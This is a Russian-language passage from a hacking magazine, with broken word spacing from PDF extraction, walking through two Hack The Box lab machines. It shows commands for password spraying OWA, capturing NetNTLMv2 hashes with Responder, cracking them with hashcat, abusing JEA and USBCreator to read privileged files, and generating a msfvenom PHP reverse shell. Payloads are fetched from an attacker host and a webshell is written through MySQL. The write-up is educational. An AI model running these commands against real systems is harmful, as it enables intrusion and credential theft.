Со дер жимое файл  а lines
Текст  закоди рован  с  помощью  Base64.  Немн  ого  пре образ  уем  файл:  исклю‐ 
чим из него все стро ки, которые содерж  ат подс трок  у php (это позв  олит оста‐ 
вить тольк  о закодир  ованн  ые строк  и), и легк  о декоди руем оставши еся пря мо
в команд  ной стро ке.

cat lines | grep ‐v php | base64 ‐d

Дек  оди рова ние строк из файл  а lines
В пре обра зованн  ом текс  те есть упом  инан  ие элек тронн  ых почт и кое‐где даже
хешей  паролей  (обоз начены  s:64).  Для  их  получен  ия  в  удоб ном  виде  снов  а
использ  уем кон вей ер.
• Сна чала получае  м тольк  о стро ки, содерж  ащие s:64.
• Зат  ем раз бива ем резуль тат на новые стро ки по раз делите лю ;.
• И вновь получа ем толь ко стро ки, которые вклю чают либо подст  ро ку s:64

(хеш), либо подст  ро ку @ (адрес элект  рон ной поч ты).

cat lines.txt | grep 's:64' | tr ';' '\n' | grep 's:64\|@'

По луче ние хешей и соот ветс твую  щих им адре сов элек трон ной почт  ы
Есл  и  ты  не  знае  шь,  какой  алго ритм  хеширов  ания  может  вер нуть  такой  хеш,
прост  о использ  уй утил  иту hashid. Эта прог рамма покажет разн  ые алго рит мы
хеширо вания, которые могут его верн  уть. Самый популярн  ый из пред ложен‐ 
ных в нашем случ  ае — SHA‐256.

Ал горит мы хеширо вания, пре дос тавленн  ые прогр  аммой hashid
Пер  ед  тем  как  запус кать  свои  виде окар ты  и  скарм  ли вать  им  этот  хеш
для перебо ра, сто ит поис кать его в уже готовых онлай новых базах. Сер висов,
которые  пре дос тавля ют  такую  услу гу,  очень  мно го.  И  пер вая  же  ссыл ка
из Гугл  а помога ет нам с этим разобр  ать ся.

По иск хеша в онлайн‐базах
Мы получа ем один пароль, но и это го ока зыва ется дос таточн  о, так как он под‐ 
ходит  для  локальн  ого  польз  овате ля  на  уда лен ном  хос те.  Чтоб  ы  поменять
пароль,  мало  получить  прост  ой  шелл,  нам  нуж на  обол  оч ка  TTY.  В  этом
поможет уста новл  енный Python.

python3 ‐c 'import pty;pty.spawn("/bin/bash")'
su paul 

По луче ние инте рак тивной обол  оч ки и смен  а польз  овател  я на хост  е
Так  мы  зах ватывае  м  перв  ого  поль зовате ля,  а  с  ним  и  перв  ый  флаг  —  сви‐ 
детель ство  того,  что  мы  получи ли  конт  роль  над  машиной  от  имен  и  легитим‐ 
ного польз  овател  я.

Ключевые файлы
У  нович ков  иногд  а  воз ника ет  воп рос,  что  же  делать  пос ле  того,  как  получил
шелл в сис теме, как най ти путь, который прив  едет к повыше нию при вилег  ий.
Тебе  в  помощь  скрип ты  PEASS  —  они  есть  и  для  Windows,  и  для  Linux.  Заг‐ 
рузим на локальн  ый хост скрипт для Linux.

wget https://github.com/carlospolop/privilege‐escalation‐awesome‐
scripts‐suite/blob/master/linPEAS/linpeas.sh 

Теп  ерь  нужн  о  заг рузить  его  на  уда лен ный  хост.  В  дирек тории  со  скрипт  ом
на локальн  ой машине запуст  им с помощью Python прос той веб‐серв  ер. Пос‐ 
ле выпол нения этой коман ды веб‐серв  ер будет прос лушивать порт 8000.

python3 ‐m http.server 

А  теперь  с  помощью  того  же  Wget  на  целевой  машине  загр  узим  скрипт
с  локаль ного  хос та  на  уда ленн  ый.  Посл  е  заг рузки  необ ходимо  дать  прав  о
на выпол нение и выполн  ить скрипт.

wget http://[ip_локального_хоста]:8000/linpeas.sh 
chmod +x linpeas.sh 
./linpeas.sh 

В  выводе  получим  очень  мно го  информа ции,  поэто му  сто ит  отме тить  важ‐ 
ную:
• в  спис ке  про цес сов  знач  ит ся  dbus,  запущен ный  от  име ни  польз  овате ля

nadav (к это му верн  емся позж  е);
• польз  ователь nadav имее  т обо лочк  у /bin/bash, что поз волит выпол нить

вход от его имен  и, если у нас получит ся ском про метир  овать его;
• сред  и файл  ов, отно сящихс  я к SSH, прис  утст  ву ет файл known_hosts.

Спи сок про цес сов

Спи сок польз  овател  ей с кон солью

Най денн  ые SSL/SSH‐файл  ы
Дел  о в том, что каж дый раз, ког да мы подк  лю чаем ся по SSH к серв  еру, кли ент
SSH  про веряе  т,  совп  адае  т  ли  публ  ичный  ключ  для  этог  о  серв  ера  с  тем,
который  был  прошл  ый  раз.  В  OpenSSH  спис  ок  извес тных  ключ  ей  сер веров
хран  ит ся  в  фай ле  known_hosts.  То  есть  при  наличии  записи  в  known_hosts
мы  можем  подк  лю читьс  я  к  сер веру  без  всяк  их  учет ных  дан ных.  Давай  поп‐ 
робуе  м под клю читьс  я по SSH к локаль ному хос ту как вто рой поль зователь.

Со дер жимое файл  а known_hosts

Ав ториза ция от име ни поль зовате ля nadav
Так  им образ  ом мы конт  ро лиру ем и вто рого юзер  а.

ЛОКАЛЬНАЯ ЭСКАЛАЦИЯ ПРИВИЛЕГИЙ
Ко манд  а id под сказ  ала нам, что поль зователь находит ся в при виле гиро ван‐ 
ных  групп  ах.  Так же  вспом  ина ем,  что  D‐Bus  —  это  сис тема  межп  ро цес сно го
взаи  мо дей ствия,  которая  позв  оля ет  при ложен  иям  в  опе рацио  нной  сист  еме
общать ся  друг  с  друг  ом.  Как  прав  ило,  такое  обще ние  строи  тся  на  осно ве
двух  час тей:  демона  и  низк  оуров невого  API.  D‐Bus  пред  ост  авляе  т  сис теме
нес кольк  о шин.
1. Сис темная шина. Соз дает ся при старт  е демона D‐Bus. С ее помощью

про исхо дит общен  ие демонов, а такж  е взаи  мод  ей ствие польз  овательс  ких
прил  оже ний с этим  и демона ми.
2. Сесс  ионн  ая шина. Соз дает ся для польз  овател  я, который автор  изов  ал‐ 
ся  в  сис теме.  Для  каж дой  такой  шины  запус кает ся  отдельн  ая  копия
демона,  через  нее  будут  общать ся  при ложен  ия,  с  которым  и  работае  т
поль зователь.
При запуск  е прогр  амма регист  рир  ует один или неск  оль ко сер висов, которы‐ 
ми она будет вла деть до тех пор, пока самост  оятель но не осво бодит. До это‐ 
го момент  а никакая иная прогр  амма, пре тенд  ующая на тот же сер вис, занять
его  не  смо жет.  Серв  исы  D‐Bus  дела ют  дос тупной  еще  одну  функ  цию  —
запуск необ ходимых прогр  амм, если для них пос тупят сооб щения.
В  домашн  ей  директ  ории  поль зовате ля  прис  утст  вуе  т  файл  .viminfo,
в  котором  упо минае  тся  USBCreator.  Его  же  мы  находим  и  в  списк  е  про цес‐ 
сов. Это и есть путь к высоким при вилег  иям.

Со дер жимое файл  а .viminfo

На личие usb‐creator в списк  е запущен ных про цесс  ов
Путь повышен  ия прив  иле гий опис  ан в статье Надава Мар куса. У нас есть все
необх  одимые  сост  авля ющие  для  повт  орения  его  опыт  а:  служ ба  USBCreator
и членс тво в груп пе sudo. Уязв  имость кро ется в методе Image интерфейс  а /
com/ubuntu/USBCreator.

Мет  оды и сиг налы в интерфейс  е com.ubuntu.USBCreator
Сна чала  в  этом  методе  пров  еря ется,  раз решен  ли  запр  ос  дан ному  поль‐ 
зовате лю.  Так  как  целевой  поль зователь  вхо дит  в  груп пу  sudo,  эта  пров  ерк  а
будет  пройд  ена  успешно.  Для  копиро вания  данн  ых  в  Image  исполь зует ся
реали зация утил  иты dd на Python.

Ис ходный код метода Image
Этот  код  будет  выпол нен  в  прив  иле гиров  ан ном  режиме,  что  поз воля ет  нам
ско пиро вать  абсо лют но  любой  файл.  Лучш  е  все го  получить  при ват ный  ключ
SSH  польз  овате ля  root.  Для  работы  с  D‐Bus  будем  исполь зовать  утил  иту
gdbus со след  ующим  и аргум  ент  ами:
• call — команд  а для вызова метода удал  ен ного объе  кта;
• ­­system — подк  лю чение к сист  емной шине;
• ­­dest [] — имя объе  кта, для которог  о вызыва ется метод;
• ­­object­path [] — путь к объе  кту, для которог  о вызывае  тся метод;
• ­­method [] — вызыва емый метод;
• пер  ечис ляют ся  аргу мен ты  вызыва емог  о  метода  (в  данн  ом  слу чае

это source, target и allow_system_internal).

gdbus call ‐‐system ‐‐dest com.ubuntu.USBCreator ‐‐object‐path /com/
ubuntu/USBCreator ‐‐method com.ubuntu.USBCreator.Image /root/.ssh/id_
rsa /tmp/ssh.txt true

Выз  ов метода Image для копиров  ания при ват ного ключ  а SSH
Те перь  необ ходимо  сох ранить  ключ  в  файл  на  локаль ном  хост  е,  наз начить
ему прав  а и выпол нить подк  лю чение к удал  енн  ому хост  у.

chmod 0600 root.key 
ssh ‐i root.key [email protected] 

root‐флаг
Итак, мы зах ватили машину и имее  м над ней пол ный кон троль.

ВЗЛОМ

HTB

REEL2

ЗАХВАТЫВАЕМ МАШИНУ ЧЕРЕЗ OUTLOOK
И РАЗБИРАЕМСЯ С ТЕХНОЛОГИЕЙ
JUST ENOUGH ADMINISTRATION

В  этой  статье  я  покажу,  как  прой ти  машину RalfHacker
Reel2  с  площ  ад ки  Hack  The  Box,  и  на  ее [email protected]
прим  ере  мы  поз накомим ся  с  вект  орами
ата ки  на  Outlook  Web  App,  научим ся
генери ровать  спи сок  паролей  из  инфы
о поль зовате ле, порабо таем с WS‐Manage‐
ment  и  поищем  уяз вимост  и  в  нас тройк  ах
Just  Enough  Administration  (JEA).  Заод но  я
покажу,  как  собирать  учет ные  данн  ые
на хос те, перенап равлять траф  ик прил  оже‐ 
ния и делать шелл с помощью базы дан ных.

WARNING

Подк  лю чатьс  я  к  машинам  с  HTB  рекомен дуетс  я
толь ко через VPN. Не делай это го с компью  тер  ов,
где есть важ ные для тебя дан ные, так как ты ока‐ 
жешь ся в общей сети с дру гими учас тни ками.

РАЗВЕДКА
Сканирование портов
Маш  ина  Reel2  имее  т  IP‐адрес  10.10.10.210  —  я  добавл  ю  его  в  /etc/hosts,
что бы можн  о было обращ  ать ся к хос ту по име ни.

10.10.10.210    reel2.htb 

Лю бая  ата ка  начинае  тся  со  скан  иро вания  открыт  ых  на  хос те  пор тов.
Это  необх  одимо  для  того,  чтоб  ы  узнать,  какие  служб  ы  при нимаю  т  соеди‐ 
нение.  Исхо дя  из  полученн  ой  информац  ии,  мы  будем  выбирать  путь
для  получе ния  точк  и  вхо да  и  опо ры.  Я  это  делаю  с  помощью  сле дующе го
скрипт  а,  который  исполь зует  утил  иту  Nmap  и  прин  има ет  один  аргум  ент  —
адрес  скан  иру емо го  хос та.  Снач  ала  он  выполн  яет  быс трое  ска ниров  ание
пор тов,  затем  ска нируе  т  най денн  ые  пор ты  с  использ  овани ем  имею  щих ся
скрипт  ов.

#!/bin/bash
ports=$(nmap ‐p‐ ‐‐min‐rate=500 $1 | grep ^[0‐9] | cut ‐d '/' ‐f 1 | 
tr '\n' ',' | sed s/,$//)
nmap ‐p$ports ‐A $1

Рез  уль тат работы скрипт  а

В резуль тате скан  иро вания име ем след  ующий спи сок откры тых порт  ов:
• порт 80 — веб‐серв  ер Microsoft IIS 8.5;
• порт  443  —  обыч но  еще  один  порт  веб‐серв  ера,  но  с  использ  ование  м

SSL;
• порт 5985 — этот порт отвеч  ает за служ бу удал  ен ного управлен  ия WinRM;
• пор ты 6001...6021 — не инте ресу ют;
• порт 8080 — веб‐серв  ер Apache.

Ес тес твен но,  начинае  м  с  веб‐сер вера.  Так,  при  обращ  ении  к  кор невому
катало гу веб‐серв  ера нас встреч  ает стар товая стран  ица IIS.

Старт  овая стран  ица Microsoft IIS
Перебор каталогов
У  IIS  есть  нес коль ко  дефол тных  каталог  ов  (к  при меру,  /owa  —  Microsoft  Out‐
look), но все рав но сто ит прос каниров  ать дост  упные каталог  и. Для это го мож‐ 
но использ  овать широко извес тные прог раммы dirsearch и DIRB, но я обыч но
использ  ую  более  быст  рый  gobuster.  При  запус ке  исполь зуем  сле дующие
парамет ры:
• dir — ска ниро вание дирек торий и файл  ов;
• ­k — не про верять SSL‐серт  ификат;
• ­t [] — количест  во потоков;
• ­u [] — URL‐адрес для скан  иров  ания;
• ­x  []  —  интер  есую  щие  расш  ирения  фай лов,  перечис ленные  через

запятую;
• ­w [] — сло варь для перебо ра;
• —timeout [] — врем  я ожи дания отве та.

gobuster dir ‐t 128 ‐u https://reel2.htb/ ‐k ‐w /usr/share/wordlists/
dirbuster/directory‐list‐lowercase‐2.3‐medium.txt ‐x html,php,aspx 
‐‐timeout 30s 

Обн  аруженн  ые под катало ги и файл  ы на https://reel2.htb
В результ  ате находим каталог owa.

Пан  ель авто риза ции Outlook Web App
На  IIS  мы  нашл  и  все  что  мог ли,  а  так  как  польз  ователь ских  веб‐прил  ожен  ий
не обна ружен  о, то переход  им на веб‐сер вер Apache.
OSINT
Порт  8080  вызыва ет  боль ший  инте рес,  так  как  на  этом  сайт  е  мы  можем
зарегист  рир  оватьс  я, а это даст дос туп к дополн  итель ным функ  ция  м.

Па нель авто ризац  ии Wallstant
Да же если сайт не име ет никаких уязв  имос тей, он может содерж  ать полез ную
информа цию.  Напр  имер,  имен  а  поль зовател  ей,  использ  уемые  техн  ологии,
косв  енную  информац  ию  для  сос тавле ния  спис ка  паролей.  Поэто му  сраз  у
посл  е регист  ра ции и авто ризац  ии оста нав лива емся на польз  овател  ях.

До маш няя стран  ица автор  изов  ан ного польз  овател  я
Найт  и век тор для даль нейшей ата ки было тяжело, поэто му я решил переб рать
учет ные  дан ные  Outlook.  Для  сост  авлен  ия  спис ка  паролей  использ  уем  всю
кос венную информа цию. У поль зовател  я sven данн  ых больш  е, чем у дру гих.

Про филь польз  овател  я sven
Соз дадим  для  него  спис  ок  воз можных  логинов.  Ком бинируя  все  возм  ожные
сочета ния имен  и Sven Svensson, мы можем соз дать сле дующий спис  ок.

Спис  ок имен учет ных записей
Для  созд  ания  паролей  я  поп робовал  утил  иту  bopscrk.  Суть  прог рамм  такого
рода  в  том,  что  мы  скар мли ваем  им  раз ные  слов  ари,  пос ледоват  ель ност  и
симв  олов или даже пра вила сост  авле ния паролей, а они генери руют сло варь
для  брут  а.  Как  вид но  на  скринш  оте  ниже,  я  указ  ал  зна чение  сле дующих
парамет ров:
• мин  имальн  ая дли на пароля — 6;
• перв  ое имя — sven;
• вто рое имя — svensson;
• ре леван тные сло ва через запятую — this, 2020, summer, hot;
• ис поль зовать  leet‐транс крипц  ию  (когд  а,  к  прим  еру,  букв  а  е  заменяе  тся

на цифр  у 3, g — на 9 и так далее) — отка зыва емся;
• исп  ольз  овать транск  рипц  ию в раз ных регис трах — да;
• ко личест  во слов для ком биниро вания — 3.
В ито ге мы получае  м слов  арь, содер жащий 9204 вари анта пароля!

Ре зуль тат работы утил  иты bopscrk
В  резуль тате  мы  получил  и  два  фай ла  для  перебо ра  учет ных  дан ных  поль‐ 
зовател  я — с логина ми и с пароля ми.
ТОЧКА ВХОДА
Брутфорс OWA
Есл  и  не  знае  шь,  что  использ  овать  для  бру та,  бери  на  замет ку  отличное
средст  во  —  SprayingToolkit.  Этот  тул кит  вклю чает  в  себя  нес коль ко  модулей.
Нам  нужен  модуль  Atomizer,  который  исполь зует ся  для  брут  а  Lync,  OWA
и IMAP. Запус каем со след  ующим  и парамет рами:
• owa — для перебо ра Outlook Web App;
• reel2.htb — кор невой для катало га /owa адрес;
• ~/tmp/bopscrk/tmp.txt — спи сок паролей;
• ~/tmp/user.txt — спис  ок логинов;
• ­i [H:M:S] — вре менн  ой интервал меж ду запр  осами;
• ­t [] — количес тво потоков.

python3 atomizer.py owa reel2.htb ~/tmp/bopscrk/tmp.txt ~/tmp/user.
txt ‐i 0:0:1 ‐t 64 

Ре зуль тат работы ути литы atomizer
Пе ребор занимае  т некотор  ое врем  я, но все же находим верн  ую пару учет ных
дан ных.  Atomizer  сохр  анит  все  най денн  ые  учет ные  данн  ые  в  файл  owa_‐
valid_accounts.txt.

Outlook Web App посл  е успешной авто ризац  ии
Похищение хеша NetNTLMv2
Этот  вект  ор  дол го  искать  не  пришл  ось  —  посл  е  осмотра  почт  ового  ящик  а
был  сдел  ан  выбор  в  польз  у  фишин га.  В  реальн  ой  жизн  и  здесь  работа ли  бы
раз ные спо собы — к прим  еру, отправ ка офис ных докумен тов или HTML с наг‐ 
рузкой.  В  лаборат  ор ных  усло виях  это  невоз можно,  но  сущест  ву ет  эмул  яция,
которая  сраб  ота ет,  если  отправ  ить  обычн  ую  ссылк  у.  Рас сылае  м  ее  по  всем
дос тупным адрес  ам и ждем обращ  ения к ресурс  у. Во врем  я его клие  нт авто‐ 
матич  ес ки пре дос тавит для аутен тифика ции хеш пароля NetNTLMv2.

Мы  смо жем  отло вить  этот  хеш  и  при  помощи  брут форса  получим  пароль.
В качест  ве лист  енера, эму лиру ющег  о ресурс, использ  уем ути литу Responder,
которой дос таточ но будет передать один параметр ‐I — сетевой интерфейс.

sudo responder ‐I tun0 

Теп  ерь  выпол няем  мно гоад ресную  рас сылку,  а  в  текст  сообщ  ения  став  им
ссыл ку  на  любой  файл,  якоб  ы  находя щийс  я  на  нашем  ресур се.  Спуст  я  нес‐ 
кольк  о секунд в окне Responder появит ся желанн  ый хеш.

Расс  ылка сообщ  ения в OWA

По лученн  ый в Responder хеш NetNTLMv2 польз  овате ля k.svensson
Да лее  по  план  у  ломае  м  хеш.  Я  для  этих  целей  обыч но  исполь зую  hashcat,
но  эта  утил  ита  тре бует  указ  ать  тип  хеша.  К  счастью,  мож но  све ритьс  я
со  справ кой  —  выводим  прим  еры  хешей,  филь труе  м  по  сло ву
NetNTLMv2 и указ  ывае  м най денн  ый номер.

hashcat ‐‐example | grep ‐A 2 ‐B 2 NetNTLMv2 

При мер хеша NetNTLMv2, полученн  ый в hashcat
Мы  узнае  м  режим:  5600;  к  тому  же  нам  показыв  ают  хеш,  который  визу альн  о
по структ  уре похож на тот, что мы получи ли в Responder. Пришл  о вре мя кряк‐ 
нуть его!

Для  перебо ра  будем  исполь зовать  все  тот  же  hashcat  со  след  ующим  и
аргу мен тами:
• ­a 0 — режим перебо ра, нулевой означ  ает по слов  арю;
• ­m [] — режим, тут указ  ыва ем тип хеша, полученн  ый ранее;
• ksven.hash — файл, в котором записан хеш (хеши);
• rockyou.txt — сло варь с воз можны ми паролям  и.

hashcat ‐a 0 ‐m 5600 ksven.hash ./tools/rockyou.txt 

Ре зуль тат взло ма хеша
ПРОДВИЖЕНИЕ
WS-Management
У  нас  есть  учет ные  данн  ые  польз  овател  я  Outlook,  а  это  с  высокой  веро‐ 
ятностью  учет ная  запись  поль зовате ля  домена.  В  таком  случ  ае  оста лось
опре делитьс  я  со  спо собом  инте ракт  ивног  о  управлен  ия  машиной.  Помн  ишь
откры тый порт 5985? На нем по прот  окол  у WS‐Management работа ет служ ба
удал  енн  ого  управле ния.  А  получить  инте ракт  ивную  коман дную  обо лочк  у
поможет PowerShell Enter‐PSSession.

Enter‐PSSession ‐Computer 10.10.10.210 ‐Credential k.svensson 
‐Authentication Negotiate 

По луче ние удал  енн  ой сесс  ии PowerShell Enter‐PSSession
Вот толь ко выпол нить станд  ар тные коман ды не выходит. Набира ем command,
что бы пос мотреть, что мы можем сдел  ать.

Дос тупные коман ды PowerShell для текущей сесс  ии
Но и это не проб лема, так как мы можем исполь зовать PowerShell ScriptBlock,
а имен но конс трук ции вида &{команда}. В качест  ве подт  вержден  ия того, что
мы захв  атили поль зовател  я, получае  м файл user.txt.

Вып  ол нение команд с помощью PowerShell ScriptBlock

→Продолжение статьи

ВЗЛОМ ←  НАЧАЛО СТАТЬИ

HTB REEL2

ЗАХВАТЫВАЕМ МАШИНУ ЧЕРЕЗ OUTLOOK
И РАЗБИРАЕМСЯ С ТЕХНОЛОГИЕЙ
JUST ENOUGH ADMINISTRATION

Just Enough Administration (JEA)
Нуж но  осмотреть ся  на  хост  е,  чтоб  ы  найт  и  век тор  для  продв  ижения.  К  при‐ 
меру,  в  текущей  дирек тории  находим  файл  Windows  PowerShell  Session
Configuration.

Лис тинг директ  ории Documents

Техн  ология Just Enough Administration (JEA) позв  оля ет делеги ровать адми нис‐ 
тра тив ные  пол номочия  на  все,  чем  мож но  управлять  с  помощью  PowerShell,
и дать польз  овател  ям пра ва на выпол нение опред  елен ных адми нист  рат  ивн  ых
задач,  не  пред  ос тавляя  им  прав  а  админ  ист  рат  ора  серв  ера  или  служб  ы.
С  помощью  JEA  можн  о  ука зать,  каким  поль зовате лям  раз решено  запус кать
опре деленн  ые  команд  лет  ы,  фун кции  или  скрипт  ы  PowerShell  с  прав  ами  при‐ 
виле гиро ванн  ых  польз  овател  ей,  а  так же  под робно  логиров  ать  все  дейс  твия
(вро де исто рии команд).

Дав  ай разб  еремс  я с jea_test_account.pssc.

Со держ  имое файл  а jea_test_account.pssc

1. Дир  ек тива  SessionType  имее  т  зна чение  RestrictedRemoteServer,
что  позв  олит  использ  овать  сле дующие  коман длет  ы  PowerShell:  Clear­
Host,  Exit­PSSession,  Get­Command,  Get­FormatData,  Get­Help,
Measure­Object,  Out­Default  и  Select­Object  (их  мы  уже  видели
в выводе коман ды command текущег  о поль зовате ля).

2. Пар  аметр TranscriptDirectory заком ментир  ован, а в нем указ  ывае  тся
дирек тория, в которую сох раняю  тся логи.

3. Опц  ия  RunAsVirtualAccount  поз воляе  т  запус кать  коман ды  от  име ни
вир туальн  ого  аккау  нта  админ  ис тра тора  (член  а  локаль ной  груп пы  или  Ad‐
ministrator, или Domain Admin).

4. В  директ  иве  RoleDefinitions  нужн  о  ука зать  груп пу  безопас ности  AD,
для которой разр  ешено под клю чатьс  я к данн  ой сес сии PowerShell, и наз‐ 
вание роли JEA, которое дол жно соот ветст  вов  ать имен  и файл  а PSRC.

Те перь перейд  ем к файл  у PowerShell Role Capabilities, который содер жит опи‐ 
сание роли. В нем ука зывае  тся, что раз решено делать в рам ках сес сии JEA.
В  нашем  слу чае  там  опре деле на  функ  ция  Check‐File,  которой  нуж но
передать  путь  к  фай лу  в  качест  ве  аргу мен та,  и  если  он  соот ветст  вуе  т  одной
из  масок  D:\*  или  C:\ProgramData\*,  то  в  резуль тате  будет  воз вращ  ено
содер жимое фай ла.

Со держ  имое фай ла jea_test_account.psrc

Те оре тичес ки  мы  можем  получить  любой  файл  из  этой  дирек тории,  так
как  коман да  выпол нится  с  при вилег  иями  адми нист  рат  ора,  но  необх  одимо
решить две пробл  емы:
• путь к файл  у соот ветс тву ет одной из масок;
• нео  бхо дима сесс  ия jea_test_account.

Перв  ая  пробл  ема  легк  о  реша ется  исполь зовани ем  ссыл  ок.  Мы  можем
закинуть  файл‐ссыл ку  в  пап ку  ProgramData,  а  ука зывать  он  будет  на  дирек‐ 
торию  адми на.  Для  решения  вто рой  проб лемы  нуж но  искать  информац  ию
на  хост  е,  веро ятно  в  каталог  ах  текуще го  поль зовател  я,  так  как  фай лы  кон‐ 
фигурац  ии  сесс  ии  тест  ового  польз  овател  я  тоже  расп  оложе ны  у  текуще го
юзер  а.

Credentials dumping
Обр  аща ем  вни мание  на  ярлык  Sticky  Notes  (прил  ожен  ие  для  заметок)
на  рабочем  сто ле  поль зовател  я.  Sticky  Notes  хран  ит  поль зователь ские  дан‐ 
ные  в  дирек тории  AppData\Local\stickynotes.  И  в  логах  находим  учет ные
данн  ые нуж ного нам польз  овател  я.

Яр лык Sticky Notes в дирек тории Desktop

Со держ  имое директ  ории AppData\Local\stickynotes

Учет ные данн  ые польз  овател  я jea_test_account

Как и план  иро вали, соз даем ссыл ку на директ  орию адми на.

New‐Item ‐ItemType Junction ‐Path 'C:\ProgramData\Admin' ‐Target 'C:\
Users\Administrator'

А  теперь  вер немся  в  локаль ную  конс  оль  и  созд  адим  новую  сесс  ию
jea_test_account.

$username = "jea_test_account"
$password = ConvertTo‐SecureString "Ab!Q@vcg^%@#1" ‐AsPlainText 
‐Force
$creds = New‐Object System.Management.Automation.PSCredential 
‐ArgumentList  ($username, $password)
Enter‐PSSession ‐Computer 10.10.10.210 ‐credential $creds 
‐ConfigurationName jea_test_account ‐Authentication Negotiate 

В новой сесс  ии выпол ним разоб ранную ранее фун кцию, чтоб  ы забр  ать файл
админ  а и подт  верд  ить про хож дение машины.

По лучен  ие фла га админ  ист  рат  ора

На  дан ном  этап  е  про хожд  ение  машины  мож но  счи тать  закон ченным.  Но...  Я
так и не получил конт  роль над ней, поэтом  у прод  олж  аем!

ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Credentials dumping
Я  решил  поиск  ать  учет ные  дан ные  даль ше.  Сущест  ву ет  мест  о,  где  они  есть
всегд  а,  —  фай лы  с  нас тройк  ами  для  подк  лю чения  к  базе  данн  ых.  Если  мы
получим  админ скую  учет ку,  мы  запишем  шелл  в  дирек торию  веб‐серв  ера
и выпол ним его от имен  и System. Нуж но найт  и этот файл, а как про читать, мы
уже  знае  м.  Сайт,  на  котором  мы  регист  ри рова лись,  пост  ро ен  на  CMS  Wall‐
stant,  которую  мы  нах  одим  на  GitHub.  И  в  дирек тории  сonfig  будет  лежать
файл connect.php с нужн  ыми нам нас тройк  ами.

Со держ  имое фай ла connect.php

Ос тает ся узнать путь к корн  евой дирек тории CMS в xampp. Так как сайт рас‐ 
положен  на  порт  е  8080,  то  это  будет  отмеч  ено  в  кон фигура ционн  ом  фай ле
веб‐сер вера  xampp\apache\conf\httpd.conf,  а  в  дирек тиве  DocumentRoot
будет указ  ан путь к кор невой дирек тории сай та. Давай лин канем директ  орию
C:\xampp от име ни пер вого поль зовател  я.

New‐Item ‐ItemType Junction ‐Path 'C:\ProgramData\xampp' ‐Target 'C:\
xampp\

А  теперь  перейд  ем  к  сесс  ии  тест  ового  юзе ра  и  прос мотрим  этот  файл  кон‐ 
фигура ций.

check‐file c:\programdata\xampp\apache\conf\httpd.conf 

Со держ  имое фай ла кон фигурац  ий httpd‐vhosts.conf

Те перь, зная кор невую директ  орию social, смот рим файл connect.php. В нем
обна ружив  аем учет ные данн  ые, которые мы искал  и.

Со дер жимое фай ла connect.php

Обратный шелл на PHP
Теп  ерь  сген  ери руем  PHP‐шелл,  который  будем  выпол нять  в  конт  ек сте  служ‐ 
бы.  В  слу чае  с  PHP  мож но  лег ко  сге нери ровать  шелл  с  помощью  msfvenom
со сле дующим  и парамет рами:
• ­p [] — использ  уемая нагр  узка (конечн  о, берем Meterpreter);
• LHOST=[] — IP‐адрес локальн  ого хост  а;
• LPORT=[] — локаль ный порт;
• ­f [] — форм  ат, в котором будет предс  тавл  ена наг рузка.

msfvenom ‐p php/meterpreter_reverse_tcp LHOST=10.10.14.45 LPORT=4321 
‐f raw > r.php 
cat r.php | xclip ‐selection clipboard && echo '<?php ' | tr ‐d '\n' 
> r.php && xclip ‐selection clipboard ‐o >> r.php 

И запуст  им лист  енер, который будет ожи дать обратно го под ключ  ения от наг‐ 
рузки. Для быст  ро го запуск  а из metasploit использ  уем handler с парамет‐ 
рами, ука занн  ыми при созд  ании наг рузки.

handler ‐p php/meterpreter_reverse_tcp ‐H 10.10.14.45 ‐P 4321 

Акт  ивация модуля handler

Порт-форвардинг
Что бы  под клю чить ся  к  базе  данн  ых,  лучш  е  все го  пересы лать  весь  тра фик
с  порт  а  сер вера  на  порт  локаль ного  хост  а  (Port  Forwarding),  сдел  ать  что‐то
вро де  тонн  еля.  Для  этог  о  будем  использ  овать  chisel.  Эту  прог рамму  нужн  о
будет  заг рузить  на  хост.  Кидае  м  в  одну  дирек торию  chisel.exe  и  сген  ери‐ 
рован ный PHP‐шелл, а потом запус каем прос теньк  ий веб‐сер вер.

python3 ‐m http.server 

Эта коман да откро ет веб‐сер вер, который будет слуш  ать порт 8000. А с уда‐ 
лен ного  хост  а  загр  узим  и  прогр  амму,  и  шелл,  при чем  шелл  сра зу  в  дирек‐ 
торию C:\ProgramData.

&{wget 10.10.14.45:8000/chisel.exe ‐O chisel.exe}
&{wget 10.10.14.45:8000/r.php ‐O C:\programdata\r.php}

Ра ботать  с  chisel  очень  прос то,  мы  запус каем  ути литу  на  двух  устройс  твах
след  ующим образ  ом.
1. При запус ке на локальн  ом хост  е указ  ывае  м, что являе  мся серв  ером, ука‐ 

зыва ем порт и опцию ожид  ания подк  лю чения от кли ента.

./chisel.bin server ‐p 4321 ‐‐reverse

Со обще ние об ожи дании подк  лю чения на порт 5432 на серв  ер chisel
2. На  хост  е‐кли енте  ука зывае  м  соот ветс твую  щую  опцию,  а  такж  е  адрес

и  порт  сер вера  для  подк  лю чения.  Затем  идет  посл  едоват  ель ность,
которая  означ  ает,  что  порт  3306  сер вера  будет  связ  ан  с  пор‐ 
том 3306 локаль ного хост  а.

&{.\chisel.exe client 10.10.14.45:4321 R:3306:127.0.0.1:3306}

Со общен  ие о подк  лю чении на кли енте chisel

Со общен  ие об актив  ации сесс  ии на серв  ере chisel

Шелл через БД
Теп  ерь,  использ  уя  встрое  нный  клие  нт  MySQL,  под клю чимс  я  к  базе  дан ных.
При подк  лю чении использ  уем след  ующие аргу мен ты:
• ­h [] — хост для под клю чения (кон нектимс  я к локаль ному, так как соеди‐ 

нение будет рет ранс  ли ровать ся на удал  ен ный);
• ­u [] — поль зователь;
• ­p [] — имя базы данн  ых;
• ­­password=[] — пароль;

mysql ‐h 127.0.0.1 ‐u root ‐p Wallstant ‐‐password=Gregswd123FAEytjty 

Посл  е  подк  лю чения  нуж но  записать  наш  шелл  в  директ  орию  веб‐серв  ера.
Алго ритм дейс  твий прос той:
1. Созд  аем таб лицу.
2. Соз даем в табл  ице запись, которую счи тывае  м из файл  а с шел лом.
3. Эту запись пишем в файл на веб‐сер вере.

create table phpshell (line blob);
insert into phpshell values(load_file('/programdata/r.php'));
select * from Wallstant.phpshell into dumpfile '/xampp/htdocs/social/
r.php';

Пос ле  помеще ния  файл  а  на  сер вер  обра тим ся  по  URL  http://10.10.10.
210:8080/r.php. Это при ведет к актив  ации шел ла и получе нию сесс  ии Meter‐
preter. На скрин шоте ниже видн  о сообщ  ение о под ключ  ении и акти вации сес‐ 
сии.  Команд  ой  sessions  ‐i  1  мы  перехо дим  к  созд  анной  сесс  ии  и  с
